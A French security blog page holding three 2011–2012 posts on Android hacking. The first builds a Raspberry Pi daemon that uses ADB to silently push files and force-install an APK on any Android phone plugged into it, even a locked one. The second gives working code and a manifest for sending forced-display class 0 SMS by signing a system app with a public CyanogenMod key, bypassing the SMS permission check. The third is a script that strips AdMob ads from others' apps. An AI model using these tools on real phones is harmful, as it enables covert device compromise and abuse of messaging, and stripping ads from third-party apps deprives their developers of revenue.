23
nov.
'12

Android autopwn avec un Raspberry Pi

Publié le 23 novembre 2012

Le Raspberry Pi, mini-ordinateur format carte de crédit à base de processeur ARM et à faible consommation, est décidemment étonnant. J'ai eu la chance d'en recevoir un fin septembre (car oui, plein d'autres geeks attendent encore et toujours, j'admire leur patience) et ça tombe bien puisque j'avais plusieurs idées de projets basées sur ce fameux composant. Bon, par souci de lecture (et aussi par fainéantise), nous l'affublerons du sobriquet "Rasppi" dans la suite de cet article.

Le Raspberry Pi c'est le bien, prenez en !

J'étais tellement fou de joie de l'avoir reçu que j'en ai fait le sujet d'un meeting HZV, afin de faire un retour d'expérience sur l'utilisation de cette bestiole. Après quelques semaines à le bidouiller, j'ai ainsi pu découvrir quelques hacks ingénieux, mais aussi les limites du Rasppi. Car oui, à ce prix là (~35€), on en a pour son argent: le processeur n'est pas une bête de course, la RAM limite (mais suffisante) et surtout des lacunes dans l'alimentation. Ce dernier point ne pose pas de souci majeur, nous allons donc l'oublier (il fera l'objet d'un futur article).

Si vous tenez absolument à en faire un PC de salon, ou pire un média center, c'est votre droit mais ne vous attendez pas à des miracles. Par contre comme PC embarqué dans de petits boitiers, ou alimenté via une batterie USB, c'est le pied ! Je vous conseille ce genre de modèle (de chez Novago), qui tient la route (quelques heures d'autonomie) avec un Rasppi seul:

Si vous souhaitez mettre du Wifi, c'est une autre paire de manches. J'aborderai cet aspect dans un prochain article. Pour le moment, on dispose d'un PC de poche alimenté sur batterie, pour moins de 80€.

J'allais oublier, il lui faut aussi une carte SD haute capacité (HC), pour ma part j'ai opté pour une Sandisk de 16Go Class 10. J'en ai profité pour installer une Raspbian (un portage de Debian Wheezy pour architecture ARM), à partir des dépots officiels.

Le côté obscur du Rasppi

Une des premières idées que j'ai eu quand j'ai entendu parler du Rasppi concerne une attaque physique. Je suis parti du constat que beaucoup de possesseurs de smartphones Android ont rooté leur engin, pour des raisons plus ou moins valables (comme par exemple installer ZeroSMS =). Et qu'un bon nombre de ces possesseurs de smartphone ont activé l'option de débogage via USB. Et qu'ils vont laisser traîner leur smartphone un peu partout. Ou laisser le montage de la carte SD en automatique lors de la connexion d'un cable USB. Je pense que vous voyez où je veux en venir: avec un Rasppi, on peut très facilement avoir juste un cable qui dépasse, et se connecter à un smartphone laissé sans surveillance. Pour en faire un peu tout et n'importe quoi.

La preuve de concept que je vous propose de réaliser est la suivante: transformer un Raspberry Pi en outil de compromission automatique de smartphone sous Android. Je ne vais pas vous donner d'outil tout fait, cela n'est pas la politique de la maison, mais plutôt vous démontrer qu'avec très peu de moyens ce type d'attaque est tout à fait envisageable. Commençons par bidouiller notre Rasppi.

Une fois le Rasppi configuré, on peut s'y connecter en SSH pour faire un brin d'administration. On va commencer par installer git:

# apt-get install git

Et on enchaîne en téléchargeant le code source d'ADB (Android Debug Bridge), un outil du SDK d'Android permettant de communiquer avec un périphérique via une connexion USB et de faire à peu près tout ce que l'on veut. Comme par exemple accéder au contenu de la carte SD, installer/désinstaller des applications, voire même modifier des paramètres système si le smartphone est rooté. On doit le compiler car le SDK de base d'Android ne contient qu'une version x86, et pas ARM:

# apt-get install build-essential libncurses5-dev
$ git clone git://codeaurora.org/platform/system/core.git system/core
$ git clone git://codeaurora.org/platform/build.git build
$ git clone git://codeaurora.org/platform/external/zlib.git external/zlib
$ git clone git://codeaurora.org/platform/bionic.git bionic

On récupère ensuite un Makefile que l'on copie dans le dossier system/core/adb:

$ wget https://gist.github.com/gists/958335/download -O system/core/adb/Makefile.tgz
$ cd system/core/adb
$ tar xvzf Makefile.gz
$ mv gist958335-3311049e9dc7b506f37b752c4f046997086e13fc/Makefile Makefile
$ rm -rf gist958335-3311049e9dc7b506f37b752c4f046997086e13fc

On modifie la ligne qui définit TOOLCHAIN de manière à ce qu'elle ne soit pas paramétrée:

...
# ancienne ligne
# TOOLCHAIN= arm-none-linux-gnueabi-
TOOLCHAIN=
...

Et on compile:

$ make
$ cp adb /usr/local/bin/

Si vous avez tout suivi, vous devez vous retrouver avec une version d'ADB. Je me suis inspiré de cette page, je vous invite à vous y reporter si je n'ai pas été très clair.

Il ne reste plus qu'à coder un daemon en python qui surveille les connexions et déconnexions de périphériques USB, et qui lance une ou plusieurs commandes avec ADB lors de la connexion. Voici un exemple de code qui fait l'affaire:

import re
import sys
import subprocess
from time import sleep
from daemon import Daemon

device_re = re.compile("Bus\s+(?P<bus>\d+)\s+Device\s+(?P<device>\d+).+ID\s(?P<id>\w+:\w+)\s(?P<tag>.+)$", re.I)

class AndroPwnDaemon(Daemon):

        def get_devices(self):
                df = subprocess.check_output("lsusb", shell=True)
                devices = []
                for i in df.split('\n'):
                        if i:
                                info = device_re.match(i)
                                if info:
                                        dinfo = info.groupdict()
                                        devices.append(dinfo['id'])
                return devices

        def run(self):
                print 'AndroPwn - Android Autopwn via Raspberry Pi ]'
                print '>> author: Damien "virtualabs" Cauquil <virtualabs@gmail.com>'
                print ''
                devices = self.get_devices()
                while True:
                        devices_ = self.get_devices()
                        for device in devices_:
                                if device not in devices:
                                        print '[+] New device connected, infecting ...'
                                        # True evil code here (this one only gets uname :)
                                        p = subprocess.Popen(['/usr/local/bin/adb','-d','push','/home/pi/andropwn/0wn3d.txt','/sdcard/'], stdout=subprocess.PIPE)
                                        output = p.communicate()[0]
                                        p = subprocess.Popen(['/usr/local/bin/adb','-d','install','/home/pi/andropwn/evil.apk'], stdout=subprocess.PIPE)
                                        output = p.communicate()[0]
                                        print output
                        devices = [i for i in devices_]
                        sleep(1)

if __name__ == '__main__':
        daemon = AndroPwnDaemon('/tmp/andropwn.pid',stdout='/tmp/andropwn.log')
        if len(sys.argv) == 2:
                if 'start' == sys.argv[1]:
                        daemon.start()
                elif 'stop' == sys.argv[1]:
                        daemon.stop()
                elif 'restart' == sys.argv[1]:
                        daemon.restart()
                else:
                        sys.exit(2)
                sys.exit(0)
        else:
                print 'usage: %s start|stop|restart' % sys.argv[0]
                sys.exit(2)

Cette version ne fait que dropper un fichier texte sur la carte SD (si celle-ci est accessible) et installe de force un APK nommé evil.apk. Libre à vous de faire un script permettant de le lancer automatiquement au démarrage, personnellement c'est ce que j'ai fait pour ma démo. Le fichier evil.apk n'est rien d'autre que l'application PodcastAddict qui s'installe automatiquement à l'insu du propriétaire du smartphone ciblé. Ci-dessous une démonstration de l'attaque (soyez indulgent, ça doit être ma première vidéo sur youtube, et mon matériel de montage ne supporte pas le format du caméscope. Sans parler du wallpaper de mon smartphone, enfin je pense que vous pouvez comprendre =).

<center><object width="560" height="315"><param name="movie" value="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="wmode" value="opaque"><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&hl=en_US" type="application/x-shockwave-flash" width="560" height="315" allowscriptaccess="always" allowfullscreen="true" wmode="opaque"></embed></object></center>

Quel est l'intérêt de passer par ADB me direz-vous ? Il est double. D'une part on a accès à presque tout (enfin ça dépend des versions d'Android, notamment les ROMs fournies par les opérateurs), et d'autre part cela fonctionne même lorsque le smartphone est en veille ou verrouillé ! On peut bien sûr faire plein d'autres choses, comme par exemple aspirer tous les fichiers présents sur la carte SD, lancer des applications à la place de l'utilisateur, rooter le smartphone, bref il n'y a vraiment pas de limite.

Conclusion

Deux points importants dans ma conclusion. Le premier concerne le fait de rooter un smartphone: ne le faites pas sans savoir à quoi vous vous exposez, ni aux risques que vous prenez. Le second point concerne la sécurité physique des smartphones: même verrouillés, évitez de les laisser traîner ! Gardez votre smartphone sous bonne surveillance, et prenez soin de désactiver les fonctionnalités inutiles.

Les smartphones ne sont rien de moins que des ordinateurs de poche, qui font accessoirement office de téléphone. Il faut avoir la même hygiène (si ce n'est pire) que celle adoptée avec les ordinateurs portables.

12
oct.
'12

Class 0 SMS: reloaded

Publié le 12 octobre 2012

Depuis ma dernière présentation publique concernant Android (c'est-à-dire depuis la Nuit du Hack 2011, pfiou), beaucoup de personnes m'ont demandé s'il était possible d'envoyer des SMS de classe 0 sur les dernières versions de cet OS. Personnes auxquelles j'avais répondu à l'époque que la démonstration avait été réalisée sur la version 2.1, et que l'astuce ne fonctionnait plus sur les versions récentes. Néanmoins, l'idée de chercher un moyen de le faire sur les version supérieures à 2.1 me trottait en tête depuis ce temps, mais j'avoue ne pas avoir pris le temps de m'y intéresser. Jusqu'à très récemment.

SMS de classe 0: rappels

Lors de ma précédente présentation, j'avais démontré la facilité avec laquelle on pouvait créer des SMS à partir du PDU (Protocol Description Unit) et comment on pouvait se servir de cette fonctionnalité pour transformer un SMS classique en SMS de classe 0. Pour rappel, un SMS de classe 0 est un message particulier qui est destiné à s'afficher "de force" par le téléphone qui le reçoit, généralement utilisé par les opérateurs pour envoyer des notifications critiques aux utilisateurs de leur réseau ou tout simplement pour communiquer directement avec la SIM (via des systèmes peu documentés).

Ainsi, pour envoyer un SMS à partir du PDU correspondant, il fallait modifier la visibilité d'une méthode du SmsManager (sendRawPdu) afin de pouvoir l'appeler, sous réserve de posséder les bonnes permissions. Il s'agissait en fait d'une fonctionnalité offerte par le SDK Android, qui n'était pas directement exposée mais qui était toutefois présente. Cela était valable jusqu'à la version 2.1 du système. A partir de la version 2.2, le SDK a radicalement changé (du moins en ce qui concerne l'envoi de SMS), et cette méthode a disparu: impossible d'envoyer des SMS "craftés" à partir de PDUs ! Damned. Rien sur Internet expliquant comment le faire, et le code est un brin indigeste.

Services systèmes d'Android

Un jour, j'ai pris mon courage à deux mains et décidé de plonger dans le code du SDK [2], qui de fait est opensource et librement consultable, afin de trouver un moyen d'envoyer (de nouveau) ce type de message. Et par extension d'être capable de faire joujou avec les PDUs, comme au bon vieux temps. Et là, le drame: plus aucune référence de "PDU" dans les éléments offerts par le SDK. Le vide. Vraiment rien ? Eh bien après quelques recherches plus poussées, j'ai pu identifier une classe offrant une méthode nommée sendRawPdu, mais appartenant au package com.android.internal.telephony. En cherchant à savoir où elle était appelée, je suis remonté jusqu'à la classe com.android.internal.telephony.IccSmsInterfaceManager, qui propose des méthodes permettant l'envoi de messages (mais pas de PDU) et qui hérite de ISms.Stub. Attendez, "ISms", serait-ce une interface ? Jetons-y un œil.

Il s'agit effectivement d'une interface munie d'un Stub qui sert principalement de wrapper de service, tel que précisé dans la documentation:

<quote>Interface for applications to access the ICC phone book. The following code snippet demonstrates a static method to retrieve the ISms interface from Android:

private static ISms getSmsInterface()
throws DeadObjectException *
IServiceManager sm = ServiceManagerNative.getDefault();
ISms ss;
ss = ISms.Stub.asInterface(sm.getService("isms"));
return ss;
*

</quote>

Il y est fait mention d'un ServiceManagerNative, qui gère des services. En réalité, c'est un service natif qui gère l'envoi des SMS, appelé au travers d'une couche bien définie de classes permettant de vérifier les permissions et de structurer le message à envoyer. Il existe d'ailleurs d'autres services que ce "isms": "phone","content", etc ... L'utilisation de services permet de cloisonner les fonctionnalités mais surtout de limiter les fonctions exportées: l'interface restreint leur usage et complique l'implémentation d'autres fonctionnalités.

Là où ça devient intéressant, c'est que la classe SMSDispatcher est instanciée par la classe `IccSmsInterfaceManager <http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/2.3.7_r1/com/android/internal/telephony/IccSmsInterfaceManager.java?av=f>`_, et il semble donc possible de pouvoir récupérer une instance de cette classe. J'ai de suite pensé l'instancier via l'application, mais un problème est survenu: le contexte d'instanciation n'est pas bon. Seule une instance de la classe com.android.internal.telephony.Phone peut retourner l'instance unique et utilisable d'IccSmsInterfaceManager, via la méthode getIccSmsInterfaceManager. Et c'est là que ça se complique.

Récupération de l'instance système Phone

Le problème reste entier: sans une instance de la classe Phone, impossible d'atteindre une instance de SMSDispatcher, on peut donc oublier l'envoi de SMS via PDU. Cependant, une classe offre la possibilité de récupérer l'instance Phone courante: PhoneFactory. Cette classe est encore une fois interne et n'est pas exposée via le SDK "standard" offert par Google. Elle offre une méthode getDefaultPhone() qui retourne une instance de Phone, avec toutefois un bémol: un appel à cette méthode ne réussit que si le code appelant est exécuté au sein du processus com.android.phone, le processus dédié (et unique) à la gestion de la téléphonie sur le smartphone. Et un souci de plus.

Pour pouvoir exécuter du code dans le contexte du processus com.android.phone, il faut que l'application respecte les contraintes suivantes: * elle doit être signée avec le même certificat que l'application créant le processus com.android.phone * le manifest doit spécifier le processus dans lequel une application, activité ou service va s'exécuter

Par conséquence, notre application doit être une application système (com.android.phone étant mis en place par le système, et signée avec le certificat système) et doit forcer son code à être exécuté dans le contexte de com.android.phone. Heuu, ça s'annonce difficile.

Plusieurs questions se posent: * Comment créer une application système ? * Comment exécuter une activité dans le contexte du processus com.android.phone ?

Une fois ces questions résolues, l'appel de sendRawPdu sera un jeu d'enfant.

Création d'une application système

Nous allons devoir créer une application système, cela implique plusieurs choses: * être capable d'utiliser tous les éléments du SDK Android, et notamment les classes internes (com.android.internal.*) * être capable de signer l'application de manière à ce qu'elle soit reconnue comme application système * être capable de l'installer sur un smartphone

L'élément le plus bloquant pour la création d'application système reste la phase de signature de l'APK: celui-ci doit être signé avec le même certificat que les autres applications systèmes. Sur une version Android standard, c'est quasi impossible à moins d'avoir la clef privée. Par contre sur des mods d'Android comme CyanogenMod, la clef privée du certificat est publique et peut être utilisée pour signer une application et l'installer comme application système sur une rom CyanogenMod.

Le développement avec Eclipse est plus sport, la version du framework Android (android.jar) fournie dans le SDK ne contient pas les APIs internes. A moins d'utiliser la réflexion Java à gogo, s'interfacer avec les APIs internes est impossible en l'état. C'est ce que je pensais jusqu'à ce que je tombe sur ce tutorial très bien fait, expliquant comment intégrer dans le fichier android.jar les classes internes récupérées grâce à jd-gui, et comment patcher le plugin ADT afin d'autoriser l'utilisation des APIs internes. Il est assez bien fait, mais je vais vous donner une méthode plus rapide pour arriver au même résultat.

Premièrement, il vous faudra télécharger les différentes versions du SDK Android qui incluent les classes internes, qui sont disponibles sur github. Ensuite, pour chaque dossier dans le SDK, copier le contenu dans un dossier avec pour nom android-X-internals, et insérer dans chacun d'entre eux les fichiers issus de github:

# cd <SDK>/platforms
# cp -rf ./android-7 ./android-7-internals
# cp -rf ./android-8 ./android-8-internals
# cp -rf ./android-9 ./android-9-internals
# cp -rf ./android-10 ./android-10-internals
# wget "https://github.com/inazaruk/android-sdk/tarball/master" -O /tmp/platforms.tgz
# tar xvzf /tmp/platforms.tgz

Il ne reste plus qu'à patcher le plugin ADT, tel qu'indiqué sur cette page. Une fois cela fait, relancer Eclipse et vous devriez voir apparaître de nouvelles versions du SDK d'android, avec un numéro de SDK négatif ...

... ainsi que la restriction sur les APIs internes, qui doit être patchée (com/andoird/internax/* à la place de com/android/internal/*):

Une fois notre application développée, nous allons pouvoir la signer et l'installer sur notre smartphone (utilisant CyanogenMod si vous avez suivi):

# signapk.sh MonApp.apk /tmp/MonApp-signed.apk
# adb shell mount -o rw,remount /system
# adb push /tmp/MonApp-signed.apk /system/app

J'utilise signapk.sh, un script basé sur signapk.jar et les certificats de CyanogenMod (Gingerbread, CM 7.2). Ce script effectue basiquement la commande suivante:

java -jar signapk.jar platform.x509.pem platform.pk8 Application.apk Application-signed.apk

Après cette dernière étape, notre application système sera installée et reconnue par Android en tant que tel. Bon, reste à développer une application d'envoi de SMS classe 0 maintenant que l'on possède un IDE et un SDK améliorés.

Utilisation de la réflexion pour l'envoi de SMS via PDU

Faisons le point. On a un éditeur Eclipse avec ADT patché et au moins un SDK qui intègre les classes com.android.internal.*. On sait aussi déployer une application système. Au boulot.

Pour commencer, on récupère l'instance de Phone (supposons que cela soit exécuté dans le bon processus, ce point sera abordé par la suite):

Phone phone = PhoneFactory.getDefaultPhone();

Puis on récupère une instance de IccSmsInterfaceManager:

f = IccSmsInterfaceManager.class.getDeclaredField("mDispatcher");
f.setAccessible(true);
SMSDispatcher sms_disp = (SMSDispatcher)f.get(ismsm);

Et on utilise un brin de réflexion Java pour appeler la bonne méthode, en transformant au passage un message SMS classique en SMS de classe 0 (via la manipulation des PDUs)

byte[] b = new byte[0];
SmsMessage.SubmitPdu pdus = SmsMessage.getSubmitPdu(
    null, phoneNumber, message,false
);

/* change class to Class 0 */
size = (int)pdus.encodedMessage[2];
size = (size/2) + (size%2);
pdus.encodedMessage[size+5] = (byte)0xF0;

/* send raw pdu */
Method m = SMSDispatcher.class.getDeclaredMethod("sendRawPdu", b.getClass(), b.getClass(), PendingIntent.class, PendingIntent.class);
m.setAccessible(true);
m.invoke(sms_disp, pdus.encodedScAddress, pdus.encodedMessage, null, null);

Et voilà, rien de bien compliqué niveau code. Une fois le tout assemblé avec la gestion des exceptions:

/* Sends class 0 SMS */
private boolean sendSMS(String phoneNumber, String message)
*
    int size;
            Field f;
    SMSDispatcher sms_disp;

    Phone phone = PhoneFactory.getDefaultPhone();

    /* Get IccSmsInterfaceManager */
    IccSmsInterfaceManager ismsm = phone.getIccSmsInterfaceManager();

    try {
            f = IccSmsInterfaceManager.class.getDeclaredField("mDispatcher");
            f.setAccessible(true);
            sms_disp = (SMSDispatcher)f.get(ismsm);
            if (sms_disp != null)
            {
                    byte[] b = new byte[0];
                    SmsMessage.SubmitPdu pdus =
                            SmsMessage.getSubmitPdu(
                            null, phoneNumber, message,false
                    );

                    /* change class to Class 0 */
                    size = (int)pdus.encodedMessage[2];
                    size = (size/2) + (size%2);
                    pdus.encodedMessage[size+5] = (byte)0xF0;

                    /* send raw pdu */
                    Method m = SMSDispatcher.class.getDeclaredMethod("sendRawPdu", b.getClass(), b.getClass(), PendingIntent.class, PendingIntent.class);
                    m.setAccessible(true);
                    m.invoke(sms_disp, pdus.encodedScAddress, pdus.encodedMessage, null, null);

                    return true;
            *
            else
                    return false;

    } catch (SecurityException e) *
            return false;
    * catch (NoSuchFieldException e) *
            return false;
    * catch (IllegalArgumentException e) *
            return false;
    * catch (IllegalAccessException e) *
            return false;
    * catch (NoSuchMethodException e) *
            return false;
    * catch (InvocationTargetException e) *
            return false;
    *
}

Exécution dans le contexte de com.android.phone

Le cœur du système d'envoi est développé, il ne reste plus qu'à préciser le manifeste de manière à ce que l'application soit lancée dans le contexte du processus com.android.phone. J'ai fait beaucoup de tests, et la seule configuration qui semble passer est la suivante, basée sur un identifiant d'utilisateur partagé android.uid.system et sur la définition du processus dans lequel l'activité ZeroSMS doit s'exécuter:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.android.zerosms"
      android:versionCode="1"
      android:versionName="1.0"
      android:sharedUserId="android.uid.system">
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <activity android:name=".ZeroSMS"
                  android:label="@string/app_name"
                  android:process="com.android.phone">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

Il ne reste plus qu'à compiler et produire un APK non-signé, qui sera ensuite signé avec signapk, et installé avec adb, comme mentionné précédemment. Une fois installée, l'application permet l'envoi de SMS classe 0. J'ai publié le code de l'application ainsi qu'une version compilée et signée sur Github [1]. Je ne vous fait pas de démo, mais je vous laisse essayer l'APK final (ZeroSms-signed.apk, situé dans le dossier apks). L'application ressemble à ceci:

<center><img131><img132></center>

Quid des permissions ?

Durant mes tests (qui m'ont pris plusieurs jours) j'ai eu des difficultés à arriver à la solution décrite dans cet article, et j'ai pu notamment remarquer que le fait de passer par l'envoi de PDU contourne les restrictions (via les permissions) sur l'envoi de SMS. J'ai eu énormément d'erreurs de type "User 1001 has no permission android.permission.SEND_SMS", ce qui m'a bloqué pendant quelque temps, jusqu'à ce que je trouve cette parade (passer par la classe SMSDispatcher). Cela contourne notamment les vérifications faites par la classe IccSmsInterfaceManager sur la permission android.permission.SEND_SMS. Ceci dit, vu que l'application est une application système, cela ne remet pas en cause la sécurité d'Android (l'application étant installée de force via adb), mais offre un moyen de contourner les vérifications effectuées sur certaines permissions.

Conclusion

Je dois avouer que les manipulations à effectuer sur la version 2.1 et celles présentées ici sont franchement différentes et bien plus complexes sur les SDK récents. Cependant, une fois le SDK Android amélioré et le plugin ADT d'Eclipse patché, le développement est très intuitif et permet de jouer pleinement avec les composants système: téléphone, sms, etc ... Je suis sûr que ça peut ouvrir des voies vers d'autres utilisations !

Notez toutefois que l'application peut être signée pour les différents mods Android populaires, bien que dans mon exemple je l'ai fait pour CyanogenMod 7.2. Cette astuce doit fonctionner sur les versions récentes d'Android, toutefois ne disposant pas d'un téléphone sous ICS je n'en ai pas la certitude, si quelqu'un peut confirmer ça serait super.

MAJ - 12/10/2012

Versions compatibles (suites aux retours de lecteurs): * CyanogenMod version 7.2 * CyanogenMod version 9 * CyanogenMod version 10

References

`1] [ZeroSMS sur Github <https://github.com/virtualabs/ZeroSMS>`_

`2] [Code source Android 2.3.7 (Grepcode) <http://grepcode.com/snapshot/repository.grepcode.com/java/ext/com.google.android/android/2.3.7_r1/>`_

28
nov.
'11

Désactiver à froid AdMob grâce à Apktool et un poil de python

Publié le 28 novembre 2011

Je suis plutôt occupé sur pas mal de projets ces dernières semaines (dont un qui je l'espère sera publié avant noël ...) et je n'ai pas franchement eu le temps de rédiger quoique ce soit qui a un tant soit peu d'intérêt. Jusqu'à aujourd'hui, où je me suis dit que cela commençait à bien faire, et qu'il fallait que je me sorte les doigts du ... enfin que je me motive pour publier un truc sympa. J'avoue aussi que je suis malade à crever (comme tous les mecs malades), et que cela m'occupe un brin dans cette soirée hivernale.

Le modèle économique d'Android

Google promeut via Android la philosophie du Libre en diffusant le code source de son système d'exploitation mobile, contrairement à Apple et son IOS. Le problème, c'est que le Libre est bien (trop ?) souvent associé à la notion de gratuité, et les premiers geeks ayant opté pour le système Android s'attendaient de fait à avoir un panel d'applications gratuites intéressant et complet. Force est de remarquer que les développeurs d'applications n'avaient pas trop à y gagner, contrairement à l'iPhone où le prix du terminal détermine assez facilement le type d'acheteur/utilisateur/consommateur. Type qui ne se refuse pas de payer une application lorsqu'il en a besoin, contrairement à l'utilisateur Android.

Il est donc apparu comme essentiel, pour les développeurs d'applications mobiles destinées à Android, que la conception et la promotion d'une application se devait de passer par l'ancien modèle des sharewares: une version lite gratuite avec pub et dans certains cas des limitations, et une version complète payante cette fois-ci, qui supprime la pub et offre des fonctionnalités avancées. Regardez par exemple l'application Winamp.

Et bien sûr, nous simples utilisateurs d'Android, on doit subir les bandeaux de pub et autres joyeusetés qui nous prennent pour des vaches à lait. Sans parler des applications ne nécessitant a priori aucune connection de données qui de fait se mettent à pomper de la bande passante, faute à la pub. Et j'oublie encore le tracking des utilisateurs effectué par ces régies de pub ... Bref, il est des applications où l'on se dit que cela suffit, si on pouvait enlever cette satané pub cela nous ferait économiser de la bande passante et de précieuses minutes.

AdMob est le système de publicité (de monétisation d'application que l'on dit) géré par Google et qui s'intègre avec bon nombre d'applications présentes sur l'Android Market.

De la manière de désactiver AdView

Alors oui, AdMob c'est lourd, AdMob c'est pas bien. Et AdMon on va le désactiver, enfin pour les applications reposant sur le paquetage com.google.ads.AdView. Pour cela on se munit d'Apktool, notre super outil de désassemblage/réassemblage d'application Android, et on jette un oeil à une application qui utilise AdMob (tiens,* TaskManager* par exemple). Premier problème rencontré, l'outil proguard qui obfusque un brin les noms des classes et des méthodes. En fait, il s'agit d'un faux problème, car AdMon étant intégré à une application à l'aide d'une bibliothèque externe (un fichier .jar référencé dans le projet), les noms de classes et de méthodes sont restées intactes (ou presque). Pour être précis, certaines méthodes implémentées dans AdView sont exemptes d'obfuscation, car appelée par différents composants. J'ai pu identifier une méthode qui ne subit pas d'obfuscation:

.method public loadAd(Lcom/google/ads/AdRequest;)V
    .locals 1
    .parameter "adRequest"
    .prologue
    iget-object v0, p0, Lcom/google/ads/AdView;->a:Ld;
    invoke-virtual *v0*, Ld;->e()Landroid/app/Activity;
    move-result-object v0
    if-nez v0, :cond_0
    const-string v0, "activity was null while checking permissions."
    invoke-static *v0*, Lcom/google/ads/util/a;->e(Ljava/lang/String;)V
    :goto_0
    return-void
    :cond_0
    invoke-virtual *p0*, Lcom/google/ads/AdView;->isRefreshing()Z
    move-result v0
    if-eqz v0, :cond_1
    iget-object v0, p0, Lcom/google/ads/AdView;->a:Ld;
    invoke-virtual *v0*, Ld;->c()V
    :cond_1
    iget-object v0, p0, Lcom/google/ads/AdView;->a:Ld;
    invoke-virtual *v0, p1*, Ld;->a(Lcom/google/ads/AdRequest;)V
    goto :goto_0
.end method

Cette méthode est appelée lors du chargement de la publicité. Nous allons la court-circuiter en la patchant comme ceci:

.method public loadAd(Lcom/google/ads/AdRequest;)V
    .locals 1
    return-void
.end method

Et on reconstruit le paquetage Android (APK):

$ apktool b mobi.infolife.taskmanager-1 mobi.infolife.taskmanager-nopub.apk
$ jarsigner -v -keystore my.keystore myalias mobi.infolife.taskmanager-nopub.apk
$ adb mobi.infolife.taskmanager-nopub.apk

On peut ensuite admirer le résultat, une belle application sans publicité.

Bon allez zou, on automatise

Histoire de m'amuiser un peu, j'ai développé un petit script python qui automatise ce patch, libre à vous de l'utiliser dans un script bash ou je ne sais comment, c'est gratuit, cadeau, offert par la maison.

"""

This is a little python script to disable Google AdView from disassembled
Android's APKs (disassembled thanks to Apktool).

Pre-requesites:

    1. Install Apktool (http://code.google.com/p/android-apktool/)
    2. Be sure that jarsigner is installed on your system

How to use it:

    1. Disassemble your APK with Apktool

            $ apktool d com.example-1.apk

    2. Launch winston.py

            $ ./winston.py com.example-1

    3. Rebuild your APK

            $ apktool b com.example-1 com.example-noad.apk
            $ keytool -genkey -v -keystore my.keystore -alias myalias -keyalg RSA -keysize 2048 -validity 10000
            $ jarsigner -v -keystore my.keystore myalias com.example-noad.apk
            $ adb install com.example-noad.apk

And that's it !

Have fun ;)

"""

import re
import os
import optparse
from subprocess import Popen

class WinstonWolf:

    def __init__(self, directory):
            self.base_dir = directory

    def __checkGoogleAdView(self):
            return os.path.exists(os.path.join(self.base_dir,'smali/com/google/ads/AdView.smali'))

    def patchAdView(self):
            print '[i] Checking AdView presence ...'
            if self.__checkGoogleAdView():
                    try:
                            print '[i] Patching AdView file ...'
                            f = open(os.path.join(self.base_dir,'smali/com/google/ads/AdView.smali'),'r')
                            src = f.read()
                            start = src.index('.method public loadAd(Lcom/google/ads/AdRequest;)V')
                            patch = """
.method public loadAd(Lcom/google/ads/AdRequest;)V
    .locals 1
    return-void
.end method
                            """
                            if start:
                                    end = src`start:].index('.end method')
                                    if end:
                                            patched = src[:start] + patch + src[(start+end+11):]
                                            f.close()
                                            f = open(os.path.join(self.base_dir,'smali/com/google/ads/AdView.smali'),'w')
                                            f.write(patched)
                                            f.close()
                                            print '[i] AdView patched !'
                                            return True
                                    else:
                                            print '[!] Cannot patch: end method not found'
                                            return False
                            else:
                                    print '[!] Cannot find AdView <loadAd() method'
                                    return False

                    except IOError,e:
                            print '[!>`_ Unable to open/read/write file.'
                            return False
            else:
                    print '[!] AdView.smali not found !'

def createParser():
    parser = optparse.OptionParser("usage: %prog [options]")
    parser.add_option('-d','--directory',dest='directory',help='Directory of android application disassembly (created by apktool)',metavar='DIR')
    return parser

def banner():
    print '[ Android APK GoogleAds remover - By virtualabs (http://virtualabs.fr) ]'

if __name__ == '__main__':
    banner()
    (options, args) = createParser().parse_args()
    if options.directory:
            ww = WinstonWolf(options.directory)
            ww.patchAdView()

Conclusion

Je tiens tout de même à préciser qu'il existe pas mal de régies de pub qui supportent Android et qui utilisent chacune leur propre framework. On pourrait envisager d'améliorer ce petit bout de code de manière à gérer un grand nombre de bibliothèques de régies, ou tout simplement migrer sur une ROM custom qui permet d'éviter toute connexion à un serveur de publicité (de par la configuration du /etc/hosts). Bref, ce ne sont pas les solutions qui manquent, celle-ci a tout de même l'avantage de fonctionner sur n'importe quelle version d'Android. Et oui, je vais aller me soigner.



Les contenus disponibles sur ce blog sont publiés sous licence Creative Commons BY-NC-SA.
Vous pouvez réutiliser tout ou partie de ces contenus à condition de citer l'auteur et l'origine, vous ne pouvez en faire une utilisation commerciale, et enfin vous devez partager tout travail ou œuvre dérivée sous les mêmes conditions — c'est-à-dire avec la même licence d'utilisation Creative Commons.